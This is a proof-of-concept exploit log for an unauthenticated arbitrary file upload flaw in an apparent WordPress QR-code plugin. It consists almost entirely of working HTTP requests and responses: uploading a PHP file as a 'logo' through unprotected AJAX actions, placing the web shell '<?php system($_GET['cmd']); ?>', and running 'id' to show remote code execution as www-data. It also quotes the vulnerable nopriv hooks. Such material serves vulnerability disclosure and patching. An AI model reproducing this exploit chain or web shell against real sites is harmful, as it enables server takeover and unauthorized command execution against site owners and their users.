POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe

अनधिकृत रूप से इंटरफ़ेस तक पहुंचकर दुर्भावनापूर्ण फ़ाइल अपलोड करें → webshell तक पहुंचें → RCE

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);